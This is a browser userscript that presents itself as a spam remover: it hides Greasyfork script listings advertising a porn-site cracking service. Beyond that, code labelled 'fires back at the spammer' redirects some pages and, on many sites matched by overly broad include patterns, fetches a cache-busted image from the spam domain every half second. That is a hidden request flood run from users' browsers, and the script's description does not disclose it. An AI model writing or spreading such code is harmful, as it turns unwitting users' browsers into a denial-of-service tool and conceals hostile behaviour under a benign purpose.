Fake script spam remover

Replaces the spam from that site that sells something to crack some chinese porn site with a spam alert

// ==UserScript==
// @name        Fake script spam remover
// @namespace   StephenP
// @match       https://greasyfork.org/*/scripts/*
// @include     *://hj.rainyun.click/*
// @include     *://hj.hbyvipxnzj.buzz/*
// @include     *://hjj.hbyvipxnzj.buzz/*
// @include     *://hj*.*/*
// @include     *://*.hj*.*/*
// @include     *://*.hai*.*/*
// @include     *://hai*.*/*
// @include     *://hj*/*
// @include     *://*.hj*/*
// @include     */post/details/*
// @match       *://*/post/details*
// @grant       none
// @version     1.2.9
// @author      StephenP
// @description Replaces the spam from that site that sells something to crack some chinese porn site with a spam alert
// ==/UserScript==
const spamSite=/hbyvipxnzj\.buzz|hbyvipxnzj\.buzz|79565271@qq|rainyun\.click/g;
if(document.location.host=="greasyfork.org"){
  const title=document.body.getElementsByTagName("h2");
  const aI=document.getElementById("additional-info");
  const sD=document.getElementById("script-description");
  if(aI){
    if(aI.textContent.match(spamSite)){
      aI.textContent="The additional notes of the script have been hidden as they were spam."
    }
  }
  if(sD){
    if(sD.textContent.match(spamSite)){
      sD.textContent="The description of the script has been hidden as it's spam."
    }
  }
  if(title){
    if(title[0].textContent.match(spamSite)){
      title[0].textContent="The title of the script has been hidden as it was spam."
    }
  }
}
else if(document.location.href.match(spamSite)){ //fires back at the spammer
    document.location.href="https://www.haijiao.com";
}
else{ //fires back at the spammer
    setInterval(() => {
    const res = fetch('http://hjj.hbyvipxnzj.buzz/assets/cache/images/202406241952197575327.jpg?'+(Math.random()*10000000).toString());
  }, 500);
}